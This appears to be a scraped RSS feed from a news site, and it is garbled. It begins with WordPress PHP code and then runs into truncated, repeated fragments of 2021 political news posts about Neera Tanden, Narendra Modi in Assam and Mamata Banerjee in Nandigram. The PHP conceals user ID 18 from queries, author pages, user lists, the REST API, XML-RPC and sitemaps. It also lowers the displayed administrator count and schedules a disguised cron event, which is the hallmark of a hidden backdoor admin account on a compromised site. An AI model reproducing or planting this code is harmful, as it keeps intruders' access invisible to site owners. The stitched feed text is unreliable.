add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Indian-American Neera Tanden To Serve As Senior Adviser To Biden appeared first on The Edge Media.
]]>
Washington: The Biden administration has announced that Indian-American Neera Tanden, who had withdrawn her nomination to lead the Office of Management and Budget (OMB) amid bipartisan criticism, will now join the White House as a senior adviser to President Joe Biden.
In a statement, John Podesta, the founder of Center for American Progress (CAP) said: “Neera’s intellect, tenacity, and political savvy will be an asset to the Biden administration as she assumes a new role as senior adviser to the president. While we will be sorry to lose her considerable policy expertise and leadership at the Center for American Progress–an organization which we founded together in 2003–I am exceptionally thrilled to see her step into a new position serving this White House and the American people.”
He further said that many of the policy solutions under the Biden administration were developed and led by Tanden at CAP over many years.
“The administration’s efforts will be magnified with Neera Tanden on the team, and I am excited to see what she will achieve in the role of senior adviser and in the years to come,” he added.
The post Indian-American Neera Tanden To Serve As Senior Adviser To Biden appeared first on The Edge Media.
]]>The post Naxalites sent photo of missing cobra jawan appeared first on The Edge Media.
]]>The post Naxalites sent photo of missing cobra jawan appeared first on The Edge Media.
]]>The post PM Modi says people have decided to form NDA government in Assam appeared first on The Edge Media.
]]>“We work for everyone without discrimination but some people divide the country by vote bank, which is unfortunately called secularism. But if we work for everyone, it’s called communal. Games of secularism, communalism have caused great damage to the country,” he added.
During his address, the Prime Minister also stopped his speech midway and brought everyone’s attention to an elderly BJP worker in the rally who was apparently dehydrated. He promptly directed the team of PMO doctors to give immediate assistance to the worker.
“PMO medical team, please go and see the worker who is facing issues due to dehydration. Please help him immediately the doctors who have come with me,” he said.
Later, the Bharatiya Janata Party (BJP) informed on their Twitter handle that the person was attended and he is stable now.
“The election is still going on. I heard yesterday that some people have assumed that they have lost the election and how the next government will be formed, what the people of the government must have worn. There cannot be a bigger insult to Assam, the excitement of capturing Assam after five years from now is shocking,” the Prime Minister further said during his address.
“The Congress government in its time gave Assam a long period of violence, bomb, and gun. At the same time, the NDA government is moving forward on the path of peace and prosperity with every partner of Assam,” he added.
The post PM Modi says people have decided to form NDA government in Assam appeared first on The Edge Media.
]]>The post Center’s big decision, now Netaji’s birthday will be celebrated as ‘Parakram Divas’ appeared first on The Edge Media.
]]>The post Center’s big decision, now Netaji’s birthday will be celebrated as ‘Parakram Divas’ appeared first on The Edge Media.
]]>The post Mamta Banerjee will contest elections from Nandigram, rally shows strength in Shubhendu’s stronghold appeared first on The Edge Media.
]]>
West Bengal Chief Minister Mamata Banerjee has announced that she will contest assembly elections from Nandigram this time. Mamata’s declaration about the ongoing political war between the Bharatiya Janata Party and the Trinamool Congress has many implications being extracted. Earlier Mamta Banerjee has been contesting from Bhawanipur.
Assembly elections are due in West Bengal this year and the political war continues. On Monday, West Bengal Chief Minister and Trinamool Congress chief Mamata Banerjee held an election meeting in Nandigram, where she was targeted by the Bharatiya Janata Party. Mamta appealed to the state unit president on the stage itself and a decision was taken immediately. . Mamta Banerjee said that this time also TMC government will be formed in Bengal and TMC will get more than 200 seats.Mamta Banerjee also took a dig at the Subhendu officer who went to BJP from TMC here and said that he did not need to take knowledge from anyone on who did the Nandigram movement. Today farmers are also agitating and BJP should immediately withdraw all three agricultural laws.
The post Mamta Banerjee will contest elections from Nandigram, rally shows strength in Shubhendu’s stronghold appeared first on The Edge Media.
]]>